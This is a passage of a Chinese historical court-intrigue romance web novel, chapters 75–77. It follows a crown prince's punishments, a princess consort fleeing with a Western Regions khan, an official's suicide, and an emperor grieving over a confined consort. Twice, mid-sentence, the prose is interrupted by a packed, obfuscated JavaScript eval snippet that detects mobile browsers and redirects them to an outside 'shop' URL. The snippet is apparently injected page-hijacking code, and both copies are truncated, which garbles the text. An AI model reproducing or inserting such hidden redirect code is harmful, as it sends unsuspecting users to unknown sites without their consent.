魏晗烨微微皱眉,“周坤。” 周坤上前回话,“殿下,民间素有用苦枥子树皮去痣的说法,加之此物无臭无毒,混在香皂之中也不容易被人察觉。” “好歹毒的心计啊,杨顺,你不辨是非,颠倒黑白,这舌头留着也是无用。来人,给孤拔了他的舌头,再活着扔去乱葬岗,让乱葬岗的野狗教他如何说话!” “不要,殿下饶命呀,奴才错了,奴才再也不敢了,殿下饶命——” “东宫丫鬟蓉儿,杖毙!” 蓉儿闻言,吓得直接昏死了过去,侍卫拖她下去行刑。 “大理寺右寺丞申远构陷忠臣,致使陈将军含冤而死,理应处斩,但他方才出首席容炎,也算大功一件,就先革职,贬为庶人,回府思过去吧。其子申无忧去岁就已考中进士,素日敏而好学,行事有量,可入大理寺顶其父职,从此效忠朝廷,也算了了你们申家的一桩罪过。” “臣申远,臣申无忧,谢太子殿下恩典。” 宁凯风眼珠一转,行礼道,“启禀殿下,微臣方才听方大人所言,方大人似乎也对殿下的血脉疑心许久了呢。” 方雪岩闻言,连忙跪下磕头,“殿下明鉴,微臣方才不过是闲聊罢了,是决计不敢僭越,随便妄议殿下的。” 魏晗烨打量了方雪岩半晌,淡淡一笑,“方大人掌着两淮盐政,怎么连招呼都没打一声,就自己回京了?” “回殿下,是太后娘娘召微臣回来的。” “哦?皇祖母一向在西山礼佛,不问世事,怎么突然就想起来召见方大人了。” “微臣虽然只是太后娘娘的从兄,却也算是太后娘娘在这世上为数不多的亲人了,如此想来,许是太后娘娘在西山孤身一人,有些思念娘家人的缘故了吧。” 魏晗烨叹了口气,“连日事多,孤也好久没看见皇祖母了,罢了,方大人,烦你去西山之时,代孤向皇祖母问个好吧,就说孤过几日得空便去西山向她请安。” “殿下孝心,太后娘娘必会明白。” “今日原是孤的大喜之日,不凑巧,赶上了这样的事儿,惊着诸位大臣了。云风,你去给诸位大臣沏杯茶,压压惊。” 云风依言斟了茶来,众人齐声谢恩,恭敬捧着喝了,魏晗烨抬眼扫了一圈,悄声问袁青,“宰相府的那些暗卫呢?” “殿下恕罪,属下未曾留意,怕是刚刚趁乱逃走了,可要派人去追他们?” “父皇都恕他们无罪了,孤也不能出尔反尔,由他们去吧。不过,抢走太子妃的那个人,袁青,你要给我好好查查他的底细,尽早把他和太子妃都带回来。” “属下遵命。” 75. 有冤无处伸 银蹄飞溅,划开了天边的血色残阳。 席容烟依偎在寒星的胸膛里,微仰着头,打量着这个阔别已久的男人。 他没有带冠,头发半束半披,倾洒在纤纤月色中,苍蓝色的劲装领口绣了一圈银丝暗纹,仿佛踏雪玉狮的浪鬃流光,随风逸散。 寒星低下头,冰蓝眸子里的繁星便都落了下来,他吻了一下她的眉心,“阿烟想什么呢?” 那一瞬间,席容烟仿佛又回到了那个夜晚,她的脸有些烫,信口道,“我在想,你瘦了。” 寒星微一挑眉,“怎么说?” “因为——”,席容烟换了个姿势,“硬硬的,硌的我有些不舒服。” 寒星愣了一下,随即哈哈大笑,回头冲沙吾提使了个眼色,“远远跟着就好。” 沙吾提会意,勒马慢行。 寒星俯下身,在席容烟耳边用极轻极柔的声音说道,“阿烟,你知道,我哪里最硬吗?” 席容烟不解地摇了摇头,“哪里?” 寒星促狭一笑,“难道成亲之前,宰相府的嬷嬷们没有教过阿烟周公之礼吗?” 席容烟怔了一怔,抬眼看见他眼底的坏笑,不由重重捶了他一下,“好呀,你敢调戏我!” “哈哈,我的阿烟恼了,调戏别人固然不对,可若是调戏自己的妻子,谁也挑不出错来。” “胡说!谁是你的妻子?娶妻要三书六礼,八抬大轿,你倒是说说,你做到了哪一样儿?” 寒星一手松松牵着缰绳,一手撩起她凤嘴长缨下的流苏步摇,含笑吟道,“交丝结龙凤,镂彩结云霞。一寸同心缕,千年长命花。怎么,阿烟自己说过的话,如今竟想抵赖了吗?”[1] 席容烟别过头,“有人看着呢,别这样。” “怕什么,他是我的人,看到也不敢乱说话的,再说,阿烟,我肯定是要娶你的,我也不怕别人知道。” 席容烟不放心,又回头看了眼跟在后面的沙吾提,忽然正色道,“对了,我还没问你,他是什么人,瞧这打扮,不像是大魏的装束。” “他叫沙吾提,西域人,他是我麾下的一员大将。” “啊?”席容烟目瞪口呆,“那你——” 寒星难掩得意之色,“阿烟,我就是西域的新王,尤里吐孜汗。” “你真的是——”席容烟直起身子,险些滑落马背,幸亏寒星眼疾手快,一把拉住了她。 “你真的是——西域的可汗——” 寒星歪头瞧着她眼底的波澜起伏,“阿烟,我记得你曾说过,你不介意我是西域人的。” 席容烟额前的步摇乱晃,“可是——” “可是什么?” “寒星,你知道镇西大将军陈玄赫吗?” 寒星脸上的笑容一僵,“你问这个做什么?” “席容炎临死前说我是陈家的遗孤,还说我是陈玄赫的女儿陈兰旌——” “他,还说了什么?” 席容烟仔细想了想,摇头道,“再没有了。” 寒星悬着的心缓缓落定,他伸臂揽住她的肩,“阿烟,别瞎想了,陈家的人全都死光了,你不可能是陈玄赫的女儿的。” “为什么不可能,你怎么知道,陈家的人都死光了?” “因为我了解席容炎,他如果想杀一个人,就绝不会给自己留下后患,陈玄赫是席容炎当年决意杀死的人,陈府的人全都死在了那场大火中,为保万全,他后来还派人照着名册,一一核对了尸身,绝不可能有人活下来,更何况是一个小女孩了。” 席容烟微微蹙眉,“不,你不明白,我从前做过许多梦,梦里,便有人这么唤我,旌儿。而且,在我的记忆深处,也有大火漫天,血流成河的场景,我仿佛是记得这件事的。” 寒星的手不由自主地颤了一颤,“从前,怎么没听你提起过?” “从前——”席容烟自嘲地笑笑,“从前我能不能活着都是个问题,自然没有心思再去管这件事。可是现在,我想弄清楚自己的身世,我想知道我究竟是谁家的孩子。寒星,当年,我流落街头,是你救了我,如今,我九死一生,又是你救了我,这份情谊,我谢过你。你要娶我,我也是愿意的,可所谓父母之命,媒妁之言,我连自己的亲生父母是谁都不知道——” 席容烟说至此处,不由得落下泪来,寒星心中酸楚,用拇指轻轻为她抹去泪痕,“阿烟,别哭,你哭的我的心都碎了。” “阿星,我知道你在宰相府做了多年暗卫,当年的事,你一定知道,你帮我查查好不好。” “好,你放心,我一定会帮你查清楚的。” “嗯——”她的泪打湿了他的胸口,灼灼的,烫烫的,仿佛烧出了一个通往心脏的洞。 寒星环住席容烟,抬眼看向前方,他眸中的温柔一点点散去,取而代之的春风吹不开的冷冽,他扬起鞭子,策马狂奔。 申府。 申无忧在廊下焦急地来回踱着步子,瞧见小厮跨进院门,便连忙上去问他,“如何了?” 小厮气喘吁吁的摇头,“回,回大少爷,宫里头儿还是一点消息都没有啊。” 申无忧捶胸顿足,“皇上和太子明明知道,此事和小妹没有关系,为何他们还不放人?!” “少爷莫急,眼下皇上和太子正忙着清理朝中的席容一党,一时半刻顾不上也是有的。” “可这都一个多月了,小妹还是不明不白的被关在大牢里,她一个女孩子家,从小又是养尊处优惯了的,如何受得住啊!下毒之事本来就是她配合皇上演的一场戏,为什么——” 急促的喊声打断了他的话,“大少爷,不好了,不好了!您快去看看吧!” “你这是?”申无忧看见跑过来的小厮满身污秽,不由得吃了一惊,“这是出什么事了?” “一群老百姓堵在咱们府的门口,嚷嚷着说要给陈玄赫大将军报仇!小人才把门拨开了一条缝儿,迎面就飞过来一颗臭鸡蛋,险些砸进小人的嘴里。” 申无忧提袍下阶,赶着往外跑了两步,果然听见错错杂杂的叫嚷声,“申远,你个狗官,你伪造书信,害死了陈将军,你怎还有脸面活在世上!出来啊,别他妈做缩头乌龟!” 先前的那个小厮跟着咬牙,“这几日一直有人在外头骂咱们,可是动手打人还是第一次!” “这帮蠢货欺人太甚!我去找他们理论!” “无忧不可。” 申无忧回头,见是申远扶门立着,“父亲,您怎么出来了?” 申远半阖着眼,侧耳听了一阵外面的骂声,苦笑道,“有人找我呢,我怎么能不出来。” “父亲,那些人都是辨不清是非曲直的糊涂虫,您别和他们一般见识,您放心,我明儿一早就去找太子殿下,求他为咱们申家做主。” “糊涂虫——”申远仰起头,瞧着檐下悬着的碎玉片子在风中叮当作响,“糊涂好啊,人生难得糊涂,无忧,你随我进来,我有话同你说。” 申无忧吩咐小厮,“你们两个要留神听着外面的动静,若是闹出了什么事儿,立刻来报。” “是,小的明白。” 申无忧跟着申远掀帘而入,屋内没有点灯,四处都是黑漆漆的,申无忧一时适应不了,只能伸手摸索着前行,申远却仿佛已经习惯了这种黑暗,他随意找了个位置坐下,又拍了拍身侧的小几,“无忧,坐。” 申无忧寻了一支蜡烛,用火折子点了,搁在两人的中间,“父亲,您想和儿子说什么?” 烛影摇红,豆粒大小的微光忽明忽暗,在混沌间苦苦挣扎着,仿佛下一瞬就要熄灭了。 申远的目光透过烛影,显得格外深邃,“无忧,我已经过了知天命的年纪,想我这辈子宦海浮沉,什么大风大浪没见过没经过,可最后,还是在大理寺干了一辈子的差事。眼下,太子殿下让你接替我的位子,我少不得要叮嘱你几句话。” “父亲尽管说,儿子洗耳恭听。” “第一句,人情贱恩旧,世义逐衰兴。前朝时候的四大家何等显赫,可如今呢,陈家的人都死光了,宁家只剩下宁凯风一根独苗,偏是个不中用的货色,楚家子弟充了军,也不知道现下还有几个是活着的,赵家舍出了女儿,才没有落到满门抄斩的地步,却也成不了什么气候了。皇上在登基之初,想借助外戚势力打压朝中的一些旧臣,魏家、方家因此相继崛起。”[2] 申无忧重复了一遍,“魏家?魏皇后的母族?” 申远微微叹了口气,“你是没见过那个时候的魏家啊,父亲是宰相,女儿是皇后,儿子是将军,真可谓满门荣耀,我记得当时坊间流传着一句话,宁作魏家犬,不为朝上臣,你便知道这魏家到了何等地步。后来,皇上坐稳了江山,便不能忍受这权柄旁落他人之手,先后启用了出身寒门草莽的席容炎,处世圆滑谨小慎微的李茂,还有行事狠厉擅用酷刑的张悍。这三个人,皇上用的好呀,席容炎是一剂毒药,皇上指哪里,就下在哪里,李茂呢,是一根绳子,能拴住人也能勒死人,张悍则是一把赤裸裸的尖刀,皇上用它告诉别人,不想死就少说话。可到最后,这席容一族的结局,你也瞧见了,唉,不过是重蹈覆辙罢了。” 申无忧似懂非懂的点了点头,“父亲跟儿子说这些,是不想儿子步了他们的后尘,可这些事,不是儿子自己能决定的了的呀,正所谓君心难测,皇上的心意岂是儿子能够揣测的?皇上若要重用儿子,儿子怎敢推脱,皇上若要处置儿子,儿子又如何能逃脱的了呢?” “这就是我要同你讲的第二句话,向来枉费推移力,此日中流自在行。咱们申家就像是诗中的艨艟巨舰,外人瞧着威风的很,只是,你得时时刻刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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申远把另一只手覆在他的手上,“好孩子,你母亲去的早,只给我留下了你们兄妹二人,如黛的事儿,你不用担心,她会没事的,等如黛出来了,你们一个宫里,一个宫外,要互相扶持,互相照应。申家子嗣单薄,你也该娶妻了,为父为你择了一门好亲,她是国子监祭酒陆成江的女儿,写得一手好字,她的字,就连皇上皇后也是夸过的,听说学问、模样、性情也是极好的。这件事,我已经求了皇上,皇上也有七八分允了,到时候就让皇上替你们作主,又体面又尊贵。等以后你们有了孩子,也让为父过一把含饴弄孙的瘾。” 申无忧用力点头,“好啊,若是我有了孩子,我一定让他在您膝下承欢,日日来您跟前孝敬,有了您的教导,我也就不担心他将来会走岔路了。” “哈哈哈哈,为父只怕他和你小时候一样顽皮,我说什么也是不管用的。” “才不会呢,其实,我小时候看着不听话,但您和我说的话我都记住了。” “哦?真的吗?” “当然了!我记得,有一回,您给我讲《论语·里仁》里面的话,说是父母在,不远游,游必有方。我说我知道这句话的意思,我以后一定在您身边侍奉,不会到处乱跑的。您那个时候就笑,笑够了才和我说,其实不是这个意思的。什么是远,什么是近,谁能说的分明。真正的孝,不是事事以父母为先,而是以父母之心为心,而您的心愿,就是希望我这一生,都能随着自己的心走。” 申远一笑,脸上的皱纹就荡了起来,像是晚风掠过湖面,恬淡清和,“那时候你还小,那时候我也还年轻,才会说出那样的话。如今想来,有几个人是能真正随自己的心意走的,造化弄人的事儿多了去了。但是为父还是希望,我的无忧是个例外,无忧无忧,一辈子都要无忧无虑才好。” 烛火越来越微弱,申无忧偷偷抹了把眼泪,一个字也说不出来。 “好啦,我想说的话都说完了,好孩子,去睡吧。” 申无忧掀袍跪下,磕了三个头,“儿子,多谢父亲教诲,父亲今日所言,儿子一定谨记在心,只字也不敢忘。” 申远伸臂扶住他,只说,“去罢。” 木门开合之际,漏进来的风吹灭了烛火,申远负手立着,由那夜色裹挟。 这一夜,申无忧睡得并不稳当,约莫寅时三刻,他从梦中惊醒,一骨碌跌落床下,口中直呼,“不好不好!” 申无忧鞋也顾不得穿,赤着脚就往外跑,一边跑一边喊,“父亲!” 枝叶在风中轻摆,投下一地阑珊,申无忧跑过的地方,空余参差的碎影,那是光遗落的痕迹。 他一脚踹开了门,梁上悬着惨白的月色,仿佛为这黑夜撕开了一道口子,申无忧无力地瘫倒在地,他呆呆看着那个熟悉的身影,心中悲痛万分,却是一滴眼泪也流不出来。 “父亲——” 76. 有情无处诉 东宫。 “你说什么?申远自缢身亡了?” “是的,申远还留下了一封请罪书,说是自知罪大恶极,对不住陈将军的亡魂,愿以死谢罪,以平民愤。” 魏晗烨叹了口气,“申远,可惜了,父皇怎么说?” 袁青摇头,“事发突然,消息也是才递到长乐宫,还不知道皇上的反应。” “申无忧呢,父死子悲,他一定伤心坏了。” “属下去申府看过,他倒还好,没有过分哀恸,只是神情有些呆滞。殿下,属下觉得,此事有些蹊跷。” “怎么说?” “殿下当日亲口赦免了申远,按道理,他没必要去寻死呀。属下问了申府的小厮,申远之所以选择自缢,是因为这几日总有人在申府门前挑衅,这才把申大人给逼死了。” “唉,申远见事明白,这是想要舍出自己,保住申家满门啊。”魏晗烨又是一叹,“孤原本没想让他死的,到底是谁在幕后兴风作浪?” “在查,只是鱼龙混杂,眼下还没有头绪。哦对了,殿下上次交代的事情有些眉目了。” “说来听听。” “属下现已查明,上次带走太子妃的人一共有两个,虽然他们都蒙着面纱,可还是能看出其中一个人明显是西域人的长相,属下去找肃安王手下的亲兵打听过,那人名叫沙吾提,是西域的大将军,而另一个人,殿下,您猜是谁?” “是谁?” “他就是西域的新汗王,尤里吐孜汗。” 魏晗烨一脸愕然,“西域的可汗?他为什么要来大魏蹚这趟浑水?他带走席容烟,又有什么企图?他不是才向大魏示好吗,难道说,他早已和朝中大臣有所勾结,带走太子妃——不对啊,席容烟是宰相的养女,宰相已死,席容烟又有何用?” “殿下,您还记不记得席容炎死前曾经说过,席容烟是陈玄赫的女儿。” “陈玄赫——”魏晗烨思索半晌,“这不太可能吧,席容炎杀了陈玄赫全家,却养大了他的女儿,这说不通啊。还有西域的可汗,这就更说不通了。” 袁青皱眉,“的确说不通,而且,瞧那日的情形,那人仿佛和太子妃是认识的。” 魏晗烨仔细回想着那日的事情,“是了,他们二人的确是认识的。孤想起来了,那个人还和宰相府的一个暗卫说过话!对!宰相府!” “殿下是说?西域可汗和宰相府有关联?” “孤也只是猜测,这样吧,袁青,你先去顺着这个路子查一查,然后再派一路追兵跟着那些暗卫,没准儿他们最后会找西域可汗会合呢。” 城门处。 “你,过来。” “好了好了,下一个。” 不远处,沙吾提压着斗笠的边沿,谨慎扫了一眼四周的环境,“大汗,我瞧这风声是越来越紧了,但凡咱们经过的地方,到处都有官兵盘查,看来,大魏人是不会轻易放走咱们的,更何况,咱们两男一女也太惹眼了。大汗,为了稳妥起见,咱们还是从郊外走小路回西域吧。” 寒星眉眼向内敛着,仿佛把所有的心事都藏在了里面,外表看起来静澜无波,实则内里早已波涛汹涌。 席容烟体内余毒未清,虽然服了解药,奈何她身子本就比常人要弱上许多,又经了不少事,一路东躲西藏,终于还是病倒了,寒星看她受罪的模样,心里也跟着难受。 “咱们两个大男人,风餐露宿倒是无所谓,只是阿烟病了,我怕她受不了。” “大汗,眼下也顾不得这些了,万一咱们被大魏人抓住,就全完了。” “怕什么,就算真的被认出来,本汗又不是打不过那几个酒囊饭袋。西域那边还有尧里瓦斯、艾山盯着呢,我也没什么不放心的。” “大汗自然不怕,可是阿烟姑娘——” 寒星瞥了他一眼,“你说什么?” 沙吾提连忙改口,“不,我说错了,是席容姑娘,席容姑娘尚在病中,不能再受惊吓了,而且大汗要顾着席容姑娘,就算武艺再怎么高强,也没法分出这个心来呀。” 寒星才要说话,忽觉怀中人动了一下,连忙柔声问道,“怎么了,可是哪里不舒服,我去给你找郎中看看。” “别,别去。”席容烟扯住他的袖子,气若游丝,“沙将军说的有道理,寒星,我们走小路吧,别担心我,我能撑的住。” “阿烟,我怕你——” 席容烟勉力一笑,“我都不怕,你怕什么。” 她靠在寒星的肩头,闭上了眼睛,“阿星,有你在,我什么都不怕。” 寒星狠了狠心,“好吧,沙吾提,我们走。” 云黑林青,风动影摇,因为连日阴雨连绵,林中空气潮湿得很,沙吾提忙乎了半日,也没擦出一点火星,寒星敛息细听,忽说,“别生火了,有人来了。” 沙吾提扔了木枝,伏在地上,果然听见了脚步响,“大汗,用不用我去引开他们?” 寒星抬眼看向天空,“不用,这地方林木繁茂,此时又值深夜,只要我们不闹出动静,他们发现不了我们的。只是不能生火,阿烟她——”他说着低下头,眼中满是怜惜。 席容烟高烧不退,此刻已然昏迷。 寒星摸着席容烟滚烫的脑门,咬了咬牙,一把扯开自己的衣服,将她裹了进去。 “大汗!你这是!” 席容烟的体温烫的吓人,寒星的身子却是冰冰凉的,像是一块沉寂千年的寒冰,即便生起了一堆火,也是融化不了的,寒星的身子只热过一次,就是席容烟拼命想要温暖他的那晚。 “大汗,你这样会生病的!你——” 沙吾提没再说下去,因为寒星投过来的目光是那样的可怖,沙吾提还从来没有见过那样的目光,温柔中掺着残忍,平静中燃着疯狂,沙吾提不懂这种目光,但他知道自己应该闭嘴。 席容烟做梦了,梦里,她回到了陈府起火的那个晚上,还是一样的血腥,还是一样的狰狞,她缩在凳子底下,亲眼看见自己的家人被利剑刺穿,鲜血溅了她满脸,可她只能死死捂住嘴,由着泪水顺着指缝滑落,不敢发出一点动静。 她的额头抵在寒星赤裸的胸膛上,一个如火滚烫,一个如冰寒凉,她的嘴唇微微翕动,像在呢喃着什么,寒星仔细听了半晌,才听出她念的是“母亲”这两个字。 寒星的喉结滚动了一下,他没有说话,只是把她搂得更紧了些。 仪鸾宫。 两个侍卫横刀而立,“皇上有旨,任何人都不得随意出入仪鸾宫!” 魏風漪瞪圆了眼睛,“瞎了你们的狗眼,连本公主都敢拦!” 香罗上前斥责,“放肆,这位可是皇上最为宠爱的漪公主!” 侍卫闻言,慌忙跪下,“漪公主,得罪了,可是皇上的确吩咐过,皇贵妃禁足仪鸾宫,不许人随意探视的,漪公主,我们也是听差办事,您别难为我们。” 魏風漪压着怒火,给香罗使了个眼色,香罗会意,笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502784|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前挽住侍卫的手,不动声色地将腕上的银镯子褪了下来,“侍卫大哥,我知道你们也不容易,可是这件事,你不说我不说,谁能知道。更何况,里头的这位娘娘,你们也是知道的,恩宠都十来年了,哪里是一朝一夕,说败就能败了的。等皇贵妃娘娘东山再起的那天,自然是有恩报恩,有怨报怨的。两位都是聪明人,就不用我这个做奴婢的多说了吧。” 侍卫掂了掂银镯子的分量,又琢磨了一会儿香罗的话,笑道,“也罢,今儿就破个例,只是公主殿下,您可得快着点,这要是让人撞见了,我们哥俩可是要掉脑袋的!” 香罗忙不迭的应声,“两位大哥放心,我们一定不给你们惹麻烦。” 整个仪鸾宫鸦雀无声,仿佛一个埋着活人的坟墓。 “母妃——母妃——” 魏風漪一声又一声唤着,却得不到半点回应,她心里有些慌乱,一把攥住了香罗的手,手心儿渗出了冷汗,“你说,母妃该不会是——” 香罗回握住她的手,认真安慰道,“公主别慌,肯定不会的,娘娘那么刚强的一个人,怎么会做那样的糊涂事儿呢。” “对,你说得对,母妃不会的,肯定不会的。”魏風漪咽了口吐沫,鼓起勇气推开了门。 刺眼的阳光穿过稀稀落落的蛛网,刻下一地斑驳,席容皇贵妃散着头发,披着亵衣,半跪在床边,怀中紧紧抱着自己惯常弹的双凤琵琶。 魏風漪还从未见过席容皇贵妃这副失魂落魄的模样,不觉大恸,“母妃!” 席容皇贵妃神情恍惚,迟疑地转过头,端详了她半日才认出来,“漪儿?” 魏風漪哭着扑过去抱住他,“母妃,是我,我来看你了!” 席容皇贵妃颤抖着手,拨开额前的乱发,眼中渐渐有了些光亮,“真的是本宫的漪儿!漪儿,你是怎么进来的?” “我使了些银子,又吓唬了他们两句,他们就放我进来了。母妃,你这儿怎么连个伺候的人都没有,紫藤呢,兰鸢呢,她们两个去哪儿了?” “不知道,皇后那个贱人,说是要查什么案子,把她们都带走了。” “那也不能一个人都没有啊,父皇的意思只是禁足,又没废您尊位,她们怎敢如此行事!” 席容皇贵妃摇了摇头,“这都不重要了,漪儿,我问你,父亲,还有我的弟弟妹妹们,他们怎么样了?” “他们……”魏風漪小声嗫喏着,“他们都还在狱中,父皇还没下最终的旨意,只说要彻查当年陈玄赫的案子,不光是当年的案子,还牵扯出许多旁的案子,朝中也有大臣谏言,说是要按律究办,以儆效尤。” “以儆效尤——”只听“砰”的一声,席容皇贵妃怀中的琵琶骤然滑落,“不行,不行,漪儿,你要帮母妃一个忙,现在只有你能帮我了!” “母妃您说,漪儿一定尽力!” 席容皇贵妃卸下右手小指的护甲,狠了狠心,用牙咬破指腹,在琵琶背面一笔一画写道,“凉生枕簟泪痕滋。旧时天气旧时衣。”[1] 她将琵琶交给魏風漪,“想办法交到你父皇的手上,他会明白的。” 魏風漪捧起琵琶,“好,我想办法。” 香罗匆匆推门进来,“公主,咱们得走了,外头催呢。” 魏風漪两颊流下两道清泪,她握着席容皇贵妃的手,舍不得撒开,“母妃,珍重。” 席容皇贵妃笑着拍了拍她的手,含泪道,“本宫的漪儿长大了,去罢——” 77. 琵琶泣哀音 永和宫。 裴怡欢手执羽扇,轻歌曼舞,一曲毕,她屈膝行礼,“让陛下见笑了。” 魏帝笑着鼓掌,“怡欢啊,来,坐朕身边。” 裴怡欢温婉一笑,将扇子交给木槿,“下去吧。” 魏帝把她揽入怀中,“记得朕第一次在赏花宴上见到你的时候,你跳的也是这支扇子舞,只是那时,你的舞中悠扬有余,情致不足,比不得今日这般明媚动人。” “陛下喜欢就好。” “美人在怀,朕自然是喜欢的。” 魏帝说着,突然叹了口气,“怡欢,你知道朕这几日为什么总来永和宫吗?” 裴怡欢点了点头,却又马上摇了摇头。 “怎么说?” “陛下圣心,臣妾不敢妄言。” “哈哈,是了,这就是你的好处了,朕喜欢的也正是你这点。怡欢啊,朕的后宫里有那么多嫔妃,可是她们对朕都是有所求的,只有你没有,朕知道,你不在乎恩宠,也不在乎生死,你肯留在朕的身边,无非是为了你的裴家。” 裴怡欢神情有些紧张,“陛下,臣妾——” “你不要狡辩,也用不着狡辩,朕九死一生,打下了这个天下,这点心思,朕还是看得出来的。怡欢,朕早已过了为情所困的年纪,朕和你在一起的时候,心很平静,这就足够了。” “陛下这样说,臣妾倒不知是该悲还是该喜了。” 魏帝笑笑,才要说话,就见魏風漪抱着琵琶闯了进来,李义跟着跌跪在地,“陛下,是奴才没用,奴才没能拦住漪公主。” 魏帝挥挥手,“算了算了,你一会儿自己出去领罚。” “是。” 魏風漪哭着跪倒在地,“父皇!” 她的衣襟擦过琵琶的四弦,伴着她的哭声,入耳甚是悲凉。 魏帝叹了口气,“漪儿,你若是为了你母妃的事儿,便不必再开口了。” 魏風漪涕泗交下,重重磕了三个响头,双手高举琵琶,“父皇若是心意已决,儿臣自知无法转圜,儿臣只有一个请求,求您看一眼母妃的血书吧,就一眼,全当是儿臣求您了!” 魏帝挪开目光,冷道,“漪儿,朕虽然宠你,你也不能这么胡闹,私自去看望禁足妃嫔已是大错,如今擅闯永和宫更是不成体统!还不赶紧给朕滚出去!” 魏風漪哽咽着看向裴怡欢,“怡娘娘,同是女子,您帮我母妃求求情吧,她真的很可怜。” 裴怡欢看了眼默不作声的魏帝,又看了眼神色悲戚的魏風漪,轻声道,“陛下,漪公主也是一片孝心,您成全她吧。” “怡欢,她不懂事,难道你也跟着糊涂了不成!” 裴怡欢低下头,不再说话。 “罢了,李义。” 李义小心接过魏風漪手中的琵琶,恭敬捧给了魏帝,“陛下,这上头写的仿佛是两句诗,奴才看不大懂。” 魏帝瞥了一眼,阖眼叹道,“这是李易安的词,凉生枕簟泪痕滋,起解罗衣聊问、夜何其。旧时天气旧时衣,只有情怀不似、旧家时。她写这个,是在怨朕。”[1] “嗐,皇贵妃怎么敢埋怨陛下呢。” “哼,这天底下就没有她不敢的事儿。” 魏帝说话间,嘴角竟然不自觉地微微上扬,李义看得分明,在心底默默盘算了一番。 “陛下,您要不要去仪鸾宫瞧瞧席容皇贵妃。” 魏帝脸上的笑意一闪而逝,“李义,你如今的差事是当得越发好了。” 李义慌忙跪下,“奴才不敢,是奴才失言了,奴才知错,奴才这就下去领罚。” 魏風漪又急又气,“父皇!母妃对您一片痴心啊,您怎能如此凉薄!” “放肆,妄议君父,朕真是惯坏你了!” 李义拉着魏風漪往外走,“漪公主,快走吧,别惹陛下不痛快了。快,你们两个,还不赶紧送公主殿下回去。” 魏風漪挣扎不过,只能大声喊道,“父皇!你不能这么对母妃!她是无辜的呀!” 大殿一时鸦雀无声,裴怡欢大着胆子去扶魏帝,“陛下,夜深了,早些安寝吧。” “嗯,不了,朕想去御花园逛逛,你歇着吧。” 魏帝说着,便起身离开了。 裴怡欢屈膝,“臣妾恭送皇上。” 木槿看着魏帝的背影,不解道,“娘娘,您同席容皇贵妃素无往来,同漪公主也没有什么情份,您说您干嘛为她们求情呀,到头来还惹了皇上不高兴,何苦呢。” “你以为皇上真的生我的气了吗?” “皇上面有不快,的确就是生气的样子呀。” 裴怡欢微微摇头,“木槿,你不明白近乡情更怯的道理,皇上连琵琶上的字都不忍去看,更何况是去见席容皇贵妃本人了。他越是刻意躲避,便越是在意的缘故。本宫哪里是替席容皇贵妃说话,不过是替皇上说出他心里的话罢了。你瞧李义,平日那么聪明的一个人,方才怎么也为席容皇贵妃求情了呢?可见,明眼人都知道,皇上的心里还是放不下她。” “娘娘这么一说还真是,皇上虽然斥责了李公公,还让他下去领罚,却并没有真正罚他。如此说来,席容皇贵妃大有死灰复燃之势,娘娘今日替她求了情,待她来日重获圣心,想来,她必会投桃报李,以答谢娘娘今日之恩的。” 裴怡欢抿嘴一笑,也懒得再和她解释,只是淡淡“嗯”了一声,“好了,今日皇上不在,本宫可以睡个好觉了,你把安息香点上,本宫等下就要歇息了。” “是,奴婢这就去。” 御花园。 月色婆娑,花影朦胧,魏帝拨开杂乱无章的枝杈,脚步急促,像是在寻找着什么。 李义亦步亦趋地跟在后头,“陛下,您把伺候的人都给打发走了,您这是要去哪儿啊?” “朕要找一架秋千,李义,朕记得这儿从前有一架秋千的。” “秋千?奴才从来没听说这儿有秋千,陛下是不是记错了。” “不可能,朕不会记错,哎呀——” 李义连忙冲了上去,“陛下没事吧,要不奴才还是在前面走吧,还能替您挡一挡,奴才实在是怕这些树杈子划伤了您的龙体。” “不用,朕能找到,你抱好琵琶就行,后头去。” 李义不敢自作主张,只得小心抱着琵琶,跟在魏帝身后,也不知道走了多久,终于瞧见一架褪了色的秋千斜倚在一株梅树旁边。 他惊喜道,“欸,真让您说着了,这儿果然有一架秋千。” 魏帝放缓步子,绕着秋千走了一圈,眼中几多感慨,末了,他坐在秋千上,向李义伸出了一只手,李义会意,立即将琵琶递了上去。 魏帝拨了两下琴弦,嘴角逸开一抹苍老的笑,“十六年了,朕依稀记得,朕第一次见到她的时候,就是在这儿。”他说着,看了一眼立在一旁的李义,“你知道,朕说的是谁吗?” 李义垂着眼,“陛下想让 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李义听得心慌,扑通一声跪倒在地,“陛下,奴才该死。” 魏帝抬了抬手,“李义,有些心事,朕憋了太久,总得找个人说一说,你别怕,你只要记住,今夜你是个聋子,过了今夜,你是个哑巴,这就够了。” 李义心有余悸,连头也不敢抬,磕头道,“是,奴才明白了。” “可惜呀,她有个好父亲,有手腕,有能力,有野心,有胆量,这么好的人选,朕怎么能不用呢。但,朕用了她的父亲,就注定要辜负她的情谊了。朕从前也曾想过,如果有一天真的走到了这一步,朕会怎么对她,又会怎么对她的骨肉至亲,可每一次,朕都没有答案,直到这一天真的到来,朕也不知道该怎么办。唉,李义,朕是不是太刻薄寡恩了?” “陛下是明主,是仁君,有些人存了不该有的念头,落到今天这个地步,也怨不了旁人。” 魏帝苦笑,“明主?仁君?你不用劝朕,朕知道自己是个怎样的人。” 风吹落,半点红,魏帝捻起弦上薄如蝉翼的花瓣,讶然道,“这个时节竟有梅花吗?” 李义恭敬回道,“陛下,这是御花园东南角的杏花,估计是被风吹过来的。” 魏帝长长“哦”了一声,“是了,朕心里想着梅花,便以为是梅花了,殊不知,春日里盛开的梅花总是不合时宜的,咳咳——” “哎呦,陛下您这是怎么了?” 